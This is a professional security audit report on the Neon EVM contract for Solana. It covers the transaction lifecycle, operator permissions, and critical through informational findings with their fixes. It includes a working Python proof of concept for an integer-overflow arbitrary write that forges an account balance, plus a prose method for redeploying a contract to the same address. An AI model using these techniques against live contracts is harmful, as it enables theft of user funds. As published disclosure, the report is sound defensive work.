Security Audit – Neon v0.15.9

Neodyme AG

June 7th, 2023

Contents

Introduction

Neon engaged Neodyme to undertake multiple extensive security audits. This includes the launch infrastructure, governance contracts and multisig, and the primary Neon contract, which operates an Ethereum Virtual Machine (EVM) on the Solana platform. These elements together comprise all the on-chain components developed by the Neon team.

This report's focus is the main Neon contract and EVM, whereas a separate report will cover the audit of the supporting governance infrastructure.

The audit started on the 7th of February 2023, with the first round of audits done by 28th of March 2023. Follow-up audits of fixes were done in May 2023. In total, our thorough audit surfaced two critical, one high, two medium, nine low, and nine info severity findings. All issues have been quickly addressed by the Neon developer team and are now fixed.

The following report first briefly introduces Neon and the technical challenges solved there, then goes over the lifecycle of an Ethereum transaction in Neon. After describing the role Operators play in Neon, all findings are described in detail, together with the applied fixes.

Project Overview

The main Neon contract implements a fully compatible Ethereum Virtual Machine (EVM). This will allow users to deploy solidity-based smart contracts on Solana while profiting from Solana's performance and quick finality and still interacting with the SPL-Token ecosystem. Users and Developers alike should be able to interact with Neon as if it was a native Ethereum-like chain.

Due to the quite different programming, compute, and memory models of Solana and Ethereum, developing this is no easy task. Some of the bigger challenges from an auditor's perspective are:

- Ethereum transactions can be large and require lots of compute, while Solana transactions are small and limited in execution time.
- Ethereum contracts have unlimited storage, so long as you pay for gas. Solana has an account model where each account has a maximum size of 10MB.
- On Ethereum, all transactions are executed sequentially, so any given transaction can read/write whatever data it wishes. Solana, being heavily parallelized internally, requires a transaction to include any accounts that might be written to beforehand.
- Existing EVM implementations aren't optimized for execution on Solana.

Neon has been solving these problems for a while now, and Neodyme's first audit of Neon was at the end of 2021. There have been substantial architectural changes and improvements since then.

The main components of the current version are a custom Ethereum Virtual Machine (EVM) and a storage/interface layer to interface between the storage models of Ethereum and Solana. Bigger Ethereum transactions can be uploaded in steps, verified on-chain, then executed in steps. All results and externally visible changes are cached until execution finishes, when they are either committed or rolled back. In addition, transaction simulation software determines where data will be written to, and a Proxy enables users to use existing Ethereum wallets. The proxy operation and the simulation and execution of the Neon transactions are done by *Operators*.

A more detailed breakdown of the lifecycle of a transaction is given later in this report.

Scope

All relevant code is open-source and is contained the main Neon repository. In particular, this audit includes:

- The full main Neon contract (`evm_loader`), which includes, among other things, the EVM, an Executor, the storage interface, and additional built-in Ethereum programs to interface with Solana.
- Solidity wrappers for the extra functionality available on Solana. Neon smart contract developers will use these to interact with the 'outside' Solana ecosystem.

The supporting off-chain launch and on-chain governance infrastructure are not part of this audit and are presented in a companion report.

We have not done a detailed audit of the surrounding proxy infrastructure yet, since Neon's on-chain code verifies that a proxy cannot have tampered with a users transcation.

The audit started in February 2023 on version `0.15.2`

https://github.com/neonlabsorg/neon-evm

- Initial Version `0.15.2`
- Commit-hash `3d9b11df7c6d1f66d1ed0b2718c957d10f01e747`.
- The final version audited, which includes all fixes, is `0.15.9`.
- Commit-hash `94d2cf63ee5e37e70f4b508ddeb83fc57191bf9a`.

Methodology

Neodyme's audit team performed a comprehensive examination of the three contracts. The team, which consists of security engineers with extensive experience in Solana smart contract security, reviewed and tested the code of the on-chain contracts, paying particular attention to the following:

- Ruling out common classes of Solana contract vulnerabilities, such as:
  - Missing ownership checks,
  - Missing signer checks,
  - Signed invocation of unverified programs,
  - Solana account confusions,
  - Re-initiation with cross-instance confusion,
  - Missing freeze authority checks,
  - Insufficient SPL token account verification,
  - Missing rent exemption assertion,
  - Casting truncation,
  - Arithmetic over- or underflows,
  - Numerical precision errors.
- Checking for unsafe design that might lead to common vulnerabilities being introduced in the future,
- Checking for any other, as-of-yet unknown classes of vulnerabilities arising from the structure of the Solana blockchain,
- Ensuring that the contract logic correctly implements the project specifications,
- Examining the code in detail for contract-specific low-level vulnerabilities,
- Ruling out denial-of-service attacks,
- Ruling out economic attacks,
- Checking for instructions that allow front-running or sandwiching attacks,
- Checking for rug-pull mechanisms or hidden backdoors.

Neon Architecture

This section will give a brief overview of how Neon works internally. We do this by walking through the life of a Neon Transaction from start to finish. Finally, we discuss what Operators in Neon can and can not do.

Lifecycle of a Neon Transaction

To see all components relevant for the Security of Neon, it is helpful to consider the full lifecycle of an Ethereum transaction being executed in Neon.

Say a user goes to a DeFi website and uses a wallet like MetaMask to sign an Ethereum transaction. This signed transaction is then sent to the Ethereum RPC node. This is the first step where Neon comes into play: There is no “normal” RPC node but a proxy operated by a Neon-Operator. This proxy takes the transaction from the user and does everything necessary to execute it on Solana inside Neon. First, a simulation of the transaction is done. This is required to determine which data will be accessed and will allow the storage model to simulate the infinite space Ethereum contracts have for storing data. If this simulation isn’t accurate, the transaction will revert on Solana, as the required account isn’t available. This is a small limitation of Neon: Any transaction that can not be simulated cannot be executed. With the simulation result, a list of Solana accounts representing all accessed storage is created. Then the Ethereum transaction is uploaded to Solana, signature and all. The Neon contract will verify the signature and initialize the storage, locking all required accounts. Then, the transaction is executed in the custom Neon EVM. This does not have any externally visible effects on Solana yet, all writes and changes are cached in the storage layer. Once the transaction execution is done and successful, the changes get committed to the Solana chain, and all accounts are unlocked. If the transaction fails, the changes are dropped and never committed.

As the computational constraints on Solana are entirely different, the classical `Gas` model of Ethereum is dropped. Instead, a flat fee is applied to each required iteration. This fee (in Neon tokens) is paid from the user to the operator, who in turn funds all transactions on Solana (in Sol). Not needing to track gas simplifies the EVM implementation a lot, making the custom EVM quite Solana-compute-efficient.

In contrast to Ethereum, Neon can execute multiple transactions in parallel as long as the storage they read/write does not overlap.

Notes on Operator Permissions

Neon currently employs a permissioned group of semi-trusted entities referred to as Operators. As previously described, Operators are instrumental to the functionality of Neon. They facilitate the required interface that enables users to execute transactions on Neon. Consequently, they possess a degree of power. This section will briefly discuss what they can and cannot do from a security auditors' perspective.

It is important to highlight that Neon always ensures that transactions are signed by the user and not tampered with by an operator. In addition, to promote efficiency in transaction execution, Neon incentivizes Operators through economic rewards (fees) following successful transaction execution. Moreover, Operators are required to provide a deposit at the start of a transaction execution, which is forfeited if they fail to complete it or do so too slowly. This system allows other Operators to 'seize' slow transactions, complete them, and claim a reward.

Operators can only influence transactions indirectly. First, similar to *all* blockchains, the initial RPC node a web interface communicates with can dismiss or reorder transactions. Operators have the same capability and users are expected to select a trustworthy entry point into the network.

Unlike conventional RPC nodes, Operators have an additional level of privilege. Recall that an Ethereum transaction can be executed iteratively over multiple Solana slots. Moreover, all storage areas required by a transaction will be locked throughout the duration of execution. This creates a potential for Denial of Service attacks by Operators. They have the capability to lock arbitrary accounts or contracts from being involved in execution. While they would incur economic penalties for such actions, they can still execute them for a limited period. If such misbehavior is detected, the operator in question will need to be manually removed from the trusted operator set.

An operator can also deliberately set-up a user transaction send to them to fail by providing an incorrect set of storage accounts. Should all operators collude, they can censor transactions until a new set of operators is chosen.

In summary, Operators are permissioned entities and users must interact with one to execute transactions. Operators are incentivized to execute transactions, but they don't have to. As such, operators *cannot* actively change or invent user actions, but operators *can* prevent them in certain circumstances.

Findings

All findings are classified in one of five severity levels:

- **Critical**: Bugs that will likely cause loss of funds. This means that an attacker can, with little or no preparation, trigger them, or they are expected to happen accidentally. Effects are difficult to undo after they are detected.
- **High**: Bugs that can be used to set up loss of funds in a more limited capacity, or to render the contract unusable.
- **Medium**: Bugs that do not cause direct loss of funds but lead to other exploitable mechanisms.
- **Low**: Bugs that do not have a significant immediate impact and could be fixed easily after detection.
- **Info**: Findings that do not have any direct security implications but might not be obvious and can be important for the design of dependant systems and documentation.

C01: Arbitrary Write though Integer overflow in account holder writes [resolved]

Severity	Impact	Affected Component
Critical	Loss of all Funds	Account Holder Writes

There is an integer overflow in `holder::write()`, reachable via `account_holder_write`, where Neon blindly trusts the offset given by the caller:

```
        let begin = Self::SIZE + offset;
        let end = begin + bytes.len();

        data[begin..end].copy_from_slice(bytes);
```

The `begin` field can overflow. This allows direct writes to the full account, allowing an attacker to craft arbitrary accounts with arbitrary tags. This is a critical bug that can be used to do everything, including drain all funds out of Neon.

Fix Fixed in `3a026aa210e7d33caa6dfe8c1309d68f637ca794` by returning an error on overflow.

PoC A full PoC based on Neon's test suite is below:

```
from .solana_utils import solana_client, wait_confirm_transaction
from .utils.instructions import make_WriteHolder
from .utils.layouts import ACCOUNT_INFO_LAYOUT

from solana.rpc.commitment import Confirmed
from solana.rpc.types import TxOpts
from solana.transaction import Transaction

class TestAttack:

    def test_holder_write_overflow(self, operator_keypair,
        treasury_pool, evm_loader,
                                       sender_with_tokens,
                                          session_user, holder_acc):

        account_data = solana_client.get_account_info(holder_acc).value
            .data
        print(account_data[:200].hex())
        print(ACCOUNT_INFO_LAYOUT.parse(account_data))

        fake_account_data = ACCOUNT_INFO_LAYOUT.build({
```

```
            "type": 12,
            "ether": b"A"*20, # eth key
            "nonce": 255, # this is the bump seed!
            "trx_count": 1337,
            "balance": 0x1000_0000_0000,
            "generation": 1337,
            "code_size": 0,
            "is_rw_blocked": 0,
        })

        overflow_offset = 0xFFFFFFFFFFFFFFFF-64 # "-65", since contract adds 64+1

        trx = Transaction()
        trx.add(make_WriteHolder(operator_keypair.public_key, holder_acc, b"\x00"*32, overflow_offset, fake_account_data))
        rcpt = solana_client.send_transaction(
                trx,
                operator_keypair,
                opts=TxOpts(skip_confirmation=True, preflight_commitment=Confirmed),
            )
        wait_confirm_transaction(solana_client, rcpt.value)

        account_data = solana_client.get_account_info(holder_acc, commitment=Confirmed).value.data
        account_parsed = ACCOUNT_INFO_LAYOUT.parse(account_data)
        print(account_data[:200].hex())
        print(account_parsed)

        assert account_parsed == ACCOUNT_INFO_LAYOUT.parse(fake_account_data)
```

C02: call-frame and action-stack misalignment can lead to action execution on revert [resolved]

Severity	Impact	Affected Component
Critical	Loss of Funds	Error Handling during forks/joins

This issue was introduced by one of the fixes and was not present in the initial version. Overall, the refactoring of the error handling of opcodes made the code a lot cleaner.

It did, however, introduce a new class of vulnerability: misalignment of the action-stack and the call-frame. Both get "increased" when you enter a new context and "decreased" when you leave it.

The current implementation has a critical bug in it: Under certain circumstances, an attacker can get a contract to persist actions even when it reverts.

Neon is really careful about this with forks; the snapshot always follows immediately after. The issue is with joins. The `commit/revert_snapshot()` calls must be right before/after the join, before any error can be thrown.

The reason is that Neon's new fallback "revert-on-error" always reverts both the callframe (context) and the action-stack. If an error occurs when only one of these two is modified and not both, permanent misalignment occurs. This might be caught at the end-of-execution when there is no snapshot to restore from, but it also might not.

Such a misalignment means that `revert/commit_snapshot` actions don't always apply to the snapshot Neon intends them to apply to. This might leave snapshots that should be reverted still present at the end of execution, causing their actions to be executed.

In summary, this can be used to cause, for example, flash loan contracts to lose all their funds since they want to revert, but their initial funds' transfer action still gets applied.

Also, see bug L09, which is related to this one.

Fix Fixed in `1e8ca241c612609d2628637eb9670f22aea18648`.

The snapshot create/commit/revert functions can't error anymore. In addition, all places where join/fork happens now have no error-path in between snapshot and forking. In particular, this applies to `opcode_stop`, `opcode_revert_impl`, `opcode_return_impl` and `opcode_selfdestruct`.

In addition, the finalization of the EVM (using `into_actions()`) now checks for `is_empty`, which is an additional mitigation that makes similar kinds of bugs harder to exploit.

H01: Deploy different contracts to the same address in one transaction [resolved]

Severity	Impact	Affected Component
High	Replace a Contract	Contract Creation

There is the possibility for multiple `Action::EvmSetCode` on the same address.

The `set_code()` function creates the action. It is called when a new contract is created. Normally, a contract can only be created once:

- only `opcode_return` calls `set_code` in `evm/opcode.rs:1280`. Code is set to the data returned by the initialization code, so it can be completely arbitrary, e.g., 0 length.
- The code is only reached when EVM forked with `Reason::Create`. This only happens in opcode_create
- it shouldn't be possible to create a contract twice. The implementation of `opcode_create_impl` in `evm/opcode.rs` tries to do this by checking:

```
if (backend.nonce(&address)? != 0) || (backend.code_size(&address)? != 0) {
            // return Err(Error::DeployToExistingAccount(address, self.context.contract));
            self.stack.push_zero()?;
            return Ok(Action::Continue);
        }
```

It is only possible to create deploy-actions for an address when the nonce is 0 and `code_size` of the target is 0. However, this is possible to reach multiple times right now, if the creates happen in the same transaction. code_size might still be zero, and the nonce is also not be increased yet!

The existence of multiple EvmSetCode is an issue, since Neon iterates over the action in forward, not reverse order for code-related queries:

- in `executor/state.rs::code` (line 298), the first instance of code is returned when an EvmSetCode action exists. (same pattern also in the previous two functions: `code_size` and `code_hash`)

```
fn code(&self, from_address: &Address) -> Result<crate::evm::Buffer> {
    for action in &self.actions {
        if let Action::EvmSetCode { address, code } = action {
            if from_address == address {
                return Ok(code.clone()); // returns first instance
            }
        }
```

```
8       }
9       Ok(self.backend.code(from_address))
10  }
```

At the end of the transaction, all EvmSetCode will be applied in-order. This means that while the current EVM might operate on code A, at the end of the transaction the final EvmSetCode containing code B will be stored to the Solana blockchain.

We have found two ways to keep `nonce == 0` and `code_size == 0`. Both use `CREATE2` to be able to have the same address twice. To make this interesting, this requires an identical init code that does different things on different calls, but that is easily achievable by accessing some on-chain info from the init-code.

Method 1: Empty Contract

- use CREATE2 opcode, return empty buffer from init code
- use CREATE2 as many times as we want afterward for the same address, this time with the actual code. This works because it uses the vulnerable function `backend.code_size()`, which always uses the first instance of EvmSetCode.
- The impact is unclear, as this also breaks all calls, which rely on `backend.code()` and will essentially call into empty code

Method 2: Reentrancy contract A: use create2 opcode to create contract B. in init_code of contract B, call back to contract A contract A: use create2 opcode again to create contract B again. This succeeds, as B has no nonce or code yet! inner contract B init_code somehow observes the nested loop (eg nonce of contract A changed) Return code B1. This will be the code that the executor backend will use from now on. outer contract B init_code: return code B2. This is the code that should actually persist after actions are applied sequentially at the end.

An accurate assessment of the impact is really hard, as that would depend on which contracts are deployed in Neon. Only contracts that either: care about the exact code of other, user-controlled contracts and contracts that themselves deploy somewhat user-controlled contracts are affected.

Getting these attacks to work requires a bit more work by an attacker, as multiple asserts have to be bypassed using self-destructs.

Fix Fixed in `03f44407ca959fa8341e8c9a3f3a2011aaa69b30`, which implements EIP161. This sets the nonce to 1 before even the initialization code is called, so the second create will fail at a `nonce==0` check. Note that the *before the init code is run* part is important to protect against the reentrancy attack.

M01: Stack Misalignment for STOP Opcode in Contract Deploys [resolved]

Severity	Impact	Affected Component
Medium	Smart Contract Exploits	STOP opcode implementation

There are 4 opcodes that join a vm with its parent: return, revert, selfdestruct and stop. The first three correctly push the address (or 0 in case of error) to the caller's stack after a return from a create command.

Stop does not do this. This will lead to stack misalignment in the caller/parent, which will expect the address of the created contract to be at top-of-stack. All further stack reads in the parent will be offset by one, until it itself returns.

Most contracts won't deploy user-controllable contracts by calling CREATE on user-supplied init code, so getting a stop into a create call seems unlikely, though certainly technically possible.

Fix Fixed in `246ec2eddc29ddb2420d8efa2aef29e95b7fbf11` by pushing a 0 to the stack in case of `reason::create` in the stop function.

M02: no_chain_id gas multiplier can always be used, even if chain_id is present [resolved]

Severity	Impact	Affected Component
Medium	Users pay more gas than intended	no_chain_id entrypoint

There is an issue that an operator can freely decide if he wants to use the `_no_chainid` execution method, which will increase gas. Neon has to verify the TX is actually a no-chainid tx. As a no_chain id transaction gets an increased gas budget, this might otherwise cause users to pay more gas than they intended.

Fix Fixed in `a0c93d341d278d08d4f9505b01087b9f89a12b44`. Execute functions can now explicitly only be used for tx where chain_id of tx matches the expected chain_id. That means either no chain_id, in which case the no_chainid execution endpoint is used with a gas multiplier applied, or the neon chain_id, in which case normal execution is allowed. All other chain_ids can not be executed anymore.

L01: EVM Spec Mismatch: opcode_returndatacopy [resolved]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

`returndatacopy` should not zero-pad, but abort on too long copies. This is specified in EIP-211, and both parity and geth follow this.

The YellowPaper is confusing here, though, see https://github.com/ethereum/yellowpaper/issues/758

Neon should also abort rather than zero-pad.

Fix Fixed in `27994529da79d3c93564e03d2460ab075e7fa85d` by not allowing reads larger than the return data length and returning an error instead.

L02: EVM Spec Mismatch: opcode_extcodecopy [resolved]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

Contrary to `returndatacopy`, `extcodecopy` zero-pads and does not abort on too large copies. The Yellow Paper refers to a "STOP" when the length is exceeded, but since we are copying code this refers to the "STOP" bytecode, aka `0`. This is not exceptional halting.

Fix Fixed in `5129254759cda48d2c732b30144067916164f929` by removing the abort on length overflow checks. The used `write_buffer` implementation will zero-fill on overflows.

L03: EVM Spec Mismatch: create [resolved]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

The `DeployToExistingAccount` and `InsufficientBalanceForTransfer` errors are currently commented out and should be reintroduced.

Additionally, the nonce-increase should persist even if the create fails, so `increment_nonce` has to happen before the transfer. See the geth implementation

Fix Fixed in two commits:

- `147fd39b8063dde9936f938efe3b4a4a23fd0a63`
- `1e8ca241c612609d2628637eb9670f22aea18648`

Now correctly reverts on already deployed or insufficient balances. Also always persists the calling contract's nonce increase, incrementing the nonce of the createe only if deploy succeeds, which matches geth behavior.

L04: EVM Spec Mismatch: Exception Handling crashes the whole Solana TX [resolved]

Severity	Impact	Affected Component
Low	Operators might lose deposit	EVM

Whenever a “special” error occurs in an opcode, such as a static-mode-violation, the transaction can’t get executed as the error will bubble up into the instruction handlers, where it will abort the tx. These TXs thus have to be manually canceled by the operator, forcing him to burn his deposit.

The relevant errors include, for example:

- Invalid opcode
- unknown opcode
- static mode
- overflowing copies in codecopy etc
- invalid jumps
- OOB pushes
- stack pop_u64 overflow etc

The expected behavior is only the current call context to be reverted, similar to the revert opcode but paying all available gas.

This is slightly obscured by the fact that solidity, when you use the high-level call interface it provides, will “bubble-up” errors. That is, if a call in solidity fails, solidity catches that and re-emits the reason to the parent contract again. This can be worked around using low-level calls though: StackOverflow - Transaction Revert

Fix Fixed in `147fd39b8063dde9936f938efe3b4a4a23fd0a63`. In the case of errors, a revert message is now constructed, and the ‘normal’ revert code is executed, as expected.

L05: EVM Spec Mismatch: stack pop of overflowing value aborts the Solana TX [acknowledged]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

Neon current aborts the whole Solana transaction when a `pop_u64` from the stack would pop a u256, and the downcast to u64 overflows.

This is different from the geth behavior, which often recovers from these cast errors: geth/instructions.go

On data copies, the exact behavior depends on the overflow semantics of the opcode (zero-extend or abort). Sometimes geth chooses to replace a too-large u64 simply with `u64::max`.

Fix A full fix is postponed for the future. For now, due to changes from L04, a TX does not abort the whole transaction anymore, simply reverting the current call.

L06: EVM Spec Mismatch: return_data [resolved]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

The specification for the `return_data` in EIP-211 says

> Upon executing any call-like opcode, the buffer is cleared (its size is set to zero). […] As an exception, CREATE and CREATE2 are considered to return the empty buffer in the success case and the failure data in the failure case.

This means that it is impossible to keep around the old `return_data` of a previous call. It either zeroed or explicitly written to.

In Neon, this is not the case for `CREATE` calls. All "join" methods (stop, selfdestruct, revert, return) don't touch the return buffer for `Reason::Create`.

Fix Fixed in `fe4878e4662402bd676190d810a70b3afdfa968c`.{.Rexx} `create`, `call`, `callcode`, `delegatecall` and `staticcall` now explicitly empty the return_data, and revert always sets the return data of the parent to the child.

L07: EVM Spec Mismatch: revert [resolved]

Severity	Impact	Affected Component
Low	EVM is different than developers might expect	EVM

According to EIP140:

> In case REVERT is used in the context of a CREATE or CREATE2 call, no code is deployed, 0 is put on the stack, and the error message is available in the returndata buffer.

Neon's revert does not put data into the return buffer.

Fix Fixed in `147fd39b8063dde9936f938efe3b4a4a23fd0a63`. Revert now always saves the return data passed to the opcode.

L08: Transaction RLP Decoding is non-unique and can result in different TX Hashes [resolved]

Severity	Impact	Affected Component
Low	Different TX hash than expected	TX Decoding

First, a quick recap on eth tx signatures and tx-hashes:

- each transaction has TWO hashes.
- First, the signed-hash, which is the hash that is actually getting signed by the user. This hash obviously cannot contain the signature itself. It is computed over `[HEADER, nonce, gasPrice, gasLimit, to, value, data, chain_id,0,0]`. This hash is unique for each tx.
- Second, the tx-hash. This includes all data in the transaction, including the user's signature. This hash should also be unique for each tx, as the user/tooling might use it to look up the tx in a block explorer/RPC.

In Neon, we have found two ways to have different tx bytes have the same first hash, while having a different second hash. This means the user's signature will remain valid. It is not possible to modify the signed part.

Example Scenario where this becomes an issue:

- User A creates a transaction TX1, signs it, and generates the expected transaction hash H1.
- User A sends TX1 to Operator
- Operator modifies TX1 into TX2, so that the signature remains valid, but the transaction hash changes to H2.
- Operator executes TX2, creating a successful transaction with hash H2 in Neon.
- Operator executes TX1, creating a FAILED transaction with hash H1 in Neon.
- User A sees his transaction H1 failing and submits a new transaction doing the same thing. Nonce is automatically taken to be the most recent one, which the user won't notice. The user could observe his balance decreasing, though.
- User has now accidentally executed the same transaction twice.

A: Transaction RLP decoding does not check for trailing data When decoding a transaction, Neon does not sufficiently check the number of elements in the RLP payload. The `decode()` function gets an RLP element passed in, which usually represents a List of other RLP types. The first 9 are accessed and parsed. There is no check if there are more than 9 elements, though. The "first" hash, the one that is signed by the user, only gets data from the first 9 fields as input. The RLP header for this first hash is

constructed in Neon, based on the length of only these first fields. So adding new data as 10th, 11th, … fields does not change the signed_hash! It modifies the original RLP header length, but it is not used for the signed_hash. The used transaction hash is computed over `&raw[..payload_size]`, which includes all data in the RLP and the previously unread trailing data. This allows the operator who submits the transaction to add arbitrary data there and thus change the tx hash. To fix this, Neon has to check that there is no extra data, i.e., the 9th field in the RLP does not exist. Further, it is possible to have trailing data outside of the RLP List. This is also unexpected but does not have adverse effects as far as we can see. Still, it would not hurt to add a check for that as well:

```
Expected Input: Bytes(RLP-List-Header, RLP-List-Contents[0:8])
Modified Input: Bytes(RLP-List-Header, RLP-List-Contents[0:10], Extra-
    Trailing-Data)
```

B: Transaction RLP decoding does not use canonical representation for r and s Neon currently reads r and s from the transaction as byte arrays, not u256s. This means there is no check that they are canonical (have no leading 0s). Both geth and parity use u256 for representing r and s.

The YellowPaper says:

> When interpreting RLP data, if an expected fragment is decoded as a scalar and leading zeroes are found in the byte sequence, clients are required to consider it non-canonical and treat it in the same manner as otherwise invalid RLP data, dismissing it completely

Neon correctly does that for u256 parsing, but r and s are parsed as byte arrays and don't have that check. As r and s are part of the tx-hash this results in the same issue as the trailing data above. It is only triggerable if either r or s has a leading zero-byte, though.

Fix Fixed in two commits:

- `46333a080783b4f3034bbd3f19c070843e028b23`
- `81fd5a3f0ddad3251cbdf0795ab22bcf4b5bbec1`

r and s are no longer byte arrays but u256, which get parsed using the normal u256 parsing functions. There is an added check that the RLP list ends where expected, and the full RLP is hashed. Further, the implementation now keeps track of the intended length, aborting on extraneous data.

L09: Callee can revert the parent. [resolved]

Severity	Impact	Affected Component
Low	Unexpected Reverts	Fork/Join Error Handling

This issue is related to the issue C02: Even when Neon synchronizes the Context and Action Stack sufficiently, it might still be possible for a child to cause an error *after* fork and join are already applied, which will trigger the fallback revert function on the parent. Where this happens kind of depends on how Neon fixes C01. If, in `opcode_return_impl`, Neon simply moves `commit_snapshot()` up to `join()`, the same method with returning invalid code from a create can be used to also revert the creator. Changing the error handling so that Neon cannot bubble-up errors after a join fixes the issue.

Fix Fixed together with C02

I01: Logs emitted immediately, also for failing/reverted TX. [acknowledged]

Severity	Impact	Affected Component
Info	None	Logging

The log opcodes use `sol_log_data` to log events. This means that an eventually reverting Neon TX might still emit permanent logs on the Solana chain. The frontend/consumer needs to be aware of this!

The following edge case is especially dangerous:

- User calls A
- A emits event logs
- A calls B
- B emits event logs
- Transaction Boundary. Events persisted to Solana chain
- B reverts
- A succeeds

There is now a successful Neon tx with partially invalid events.

Fix This finding has been acknowledged by Neon:

> This is intended behavior. We also print message every time EVM Instance is created or destroyed. Proxy parses this logs and reconstruct the call stack.

I02: Gas opcode meaningless [acknowledged]

Severity	Impact	Affected Component
Info	None	EVM

The `gas_limit` available to the gas opcode is meaningless. While initially initialized to the transactions `gas_limit`, any call can set it to an arbitrary u256 without any checks. This does not impact the gas calculation in `finalize()` at the end of each execution step though, which always uses the gas limit in storage not the current machine.

Neon could also check that gas in call is lower than the available gas, or implement EIP-150:

> If a call asks for more gas than the maximum allowed amount (i.e. the total amount of gas remaining in the parent after subtracting the gas cost of the call and memory expansion), do not return an OOG error; instead, if a call asks for more gas than all but one 64th of the maximum allowed amount, call with all but one 64th of the maximum allowed amount of gas (this is equivalent to a version of EIP-901 plus EIP-1142). CREATE only provides all but one 64th of the parent gas to the child call.

Fix This finding has been acknowledged by Neon, and postponed for future as the gas model is completely different from other EVMs.

I03: Account creation DoS can lead to Operator Deposit Loss [resolved]

Severity	Impact	Affected Component
Info	Operator forfeits deposits	Account Creation

Neon's account creation routines for external instructions currently branch on the lamports of the cached account. As such, it sometimes uses `create_account` instead of transfer-assign-allocate. This should be changed to always take the safer path. That prevents a DoS vector on operators. An attacker could otherwise halt the execution of many Neon transactions (those which are both stepped and do external creates), simply by observing the chain and then quickly transferring some lamports. In those cases, operators would lose their deposit as the transaction would become un-executable with no fault of their own.

Fix Fixed in `86af2d4d6e614943743f685e35f4a33345f673ec`, Neon now always uses the transfer-assign-allocate scheme.

I04: neon_token withdraw token amount calculation wrong when token_mint.decimals != 9 [resolved]

Severity	Impact	Affected Component
Info	None	Neon Token Builtin

The “decimal-truncation” in the withdrawal method of the neon_token precompiled contract is the wrong way around. Internally, Neon uses 18 decimals, as seen in the `neon_tokens_deposit` instruction. The calculation there is correct:

- `additional_decimals = 18 - token_mint::decimals()`
- followed by `deposit = amount * 10**additional_decimals`

However, the neon token precompiled contract simply does

- `withdraw = amount / 10**token_mint::decimals()`

Consider `token_mint` decimals being 0. Deposit now does a multiple of `10**18`, while withdraw divides by 1. Given that Neon will use 9 decimals, this will not cause any bugs, as both computations are identical. But if anyone uses this with different decimals, the calculation will be wrong. As an additional minor nit, the error message is hardcoded to `10^9`, while the computation is not.

Fix Fixed in `dda95f598bc6949868f5eb3bd656ea16a5f0043f`. It now correctly computes decimals.

I05: spl-token mintTo design has security pitfalls [resolved]

Severity	Impact	Affected Component
Info	None	SPL Token Builtin

The current design of the `mintTo` function in the spl_token prebuild has security implications that are not immediately obvious. It currently works like follows:

- the calling contract only specifies the account and amount
- the prebuild contract does a lookup for the target mint by reading from the target spl-token account. This Solana account is accessed from the cache via external_account().
- this mint is then "blindly" trusted to mint the amount of tokens into the account.

If a contract has control over multiple mints, this becomes an issue, as a user might be able to close and reopen the token account at the referred address with a different mint than the program expects. This could even happen in a normal "transfer", since Neon currently does not enforce any internal gas-limits. A contract, therefore, always has to check that the account is of the correct mint type just before minting without calling any other contracts. This makes sure the account cache the contract sees is the same as the cache the spl_token precompile will use. Neon could change the API so that the contract will have to pass in the expected mint, as well as the destination address and amount, to enforce this check takes place. As the "one contract has multiple mints" design is encouraged by being able to pass "seeds" to the initialize_mint function, we recommend making this change, or at least documenting this pitfall clearly.

Fix Fixed in `86af2d4d6e614943743f685e35f4a33345f673ec`. `mintTo` now takes the expected mint as input. Same with burn, freeze, thaw. The mint no longer read from account, and the operation will fail on the Solana layer if it mismatches.

I06: blockhash opcode allows observation of passage-of-time, and thus simulation detection [acknowledged]

Severity	Impact	Affected Component
Info	Operator Funds	EVM - Blockhash Opcode

The current stepcount is not directly exposed in the VM, but a contract running in the EVM can repeatedly query the blockhash to see which ones return zero to leak info about the time since execution began. By being able to observe time, a program might be able to detect if it is being simulated by the operator or actually being executed on-chain. It can therefore do different things on-chain, like bricking execution and thus forcing the operator to forfeit his deposit. Operators should be extra careful with transactions accessing the blockhash, and all features that dynamically read data from Solana as some precompiled contracts do.

Fix The whole blockhash computation has been rewritten together with I07. It still allows passage-of-time observation because it switches to a fake hash once out of the Solana accessible range; that is not really fixable without a blockhash cache, though.

I07: block_hash computation is fixed relative distance from execution-root instead of absolute slot [resolved]

Severity	Impact	Affected Component
Info	Developer Confusion	EVM - Blockhash Opcode

The current block_hash offsetting computation is confusing. It does not return the slot the contract requested, but the slot the same distance from the current slot as the requested slot was from the execution start slot (as explained in detail below). Expected behavior, as done by spec and geth/parity: The contract specifies an absolute block number, and passes it via stack to the EVM with the opcode blockhash. If this block is within the last 256 blocks, the EVM returns the hash of that block, otherwise, it returns 0. In Neon, this is different.

Say a contract execution starts in slot 10, and queries the blockhash for slot 5 over and over. Stepped execution happens in slots 10-14. The computation in `state::block_hash` gives:

- Solana-Slot 10: Blockhash-Slot 5
- Solana-Slot 11: Blockhash-Slot 6
- Solana-Slot 12: Blockhash-Slot 7
- Solana-Slot 13: Blockhash-Slot 8
- Solana-Slot 14: Blockhash-Slot 9

That means the backend will always return the hash for the slot 5 slots in the past from the current slot. But the current slot isn't even observable. This isn't the behavior we'd expect, but not a security issue.

Fix The block_hash computation was completely changed in three commits:

- `ebd97d628093fbb43ec91495ac71fa23830c61dc`
- `b7af01e55e2c5e22d16f4a531c80386c103ca2e5`
- `94d2cf63ee5e37e70f4b508ddeb83fc57191bf9a`

It now returns the correct Solana hash or a fake one if it is unavailable.

I08: Metaplex uses unsafe `from_utf8_unchecked` on arbitrary bytes [resolved]

Severity	Impact	Affected Component
Info	None	Metaplex Builtin

The string passed to `from_utf8_unsafe` is entirely user-controlled and can therefore contain invalid utf-8. Rust documentation says

> If this constraint is violated, it may cause memory unsafety issues with future users of the String [...]

As far as we can tell, the only current consumer (`create_metadata_accounts_v3()`) passes this String into a Struct serialized by Borsh. Borsh only does a .as_bytes() call. This call returns the raw bytes again without any processing. So in practice, right now, this shouldn't cause any issues. However, we still recommend making non-utf8 error here. Implementation of dependencies might change and introduce subtle bugs here, and you should not be able to create invalid utf-8.

Fix Fixed in `86af2d4d6e614943743f685e35f4a33345f673ec`, which now uses `String::from_utf8(data).map_err(..)`.

I09: Metaplex `read_u64` should abort on overflow [resolved]

Severity	Impact	Affected Component
Info	None	Metaplex Builtin

The current `read_u64` implementation truncates on the u256 to u64 downcast. As it is used to calculate the max_supply, this is somewhat dangerous as a master edition might have many fewer tokens as expected by the smart-contract. Neon should error the metaplex transaction when an overflow occurs.

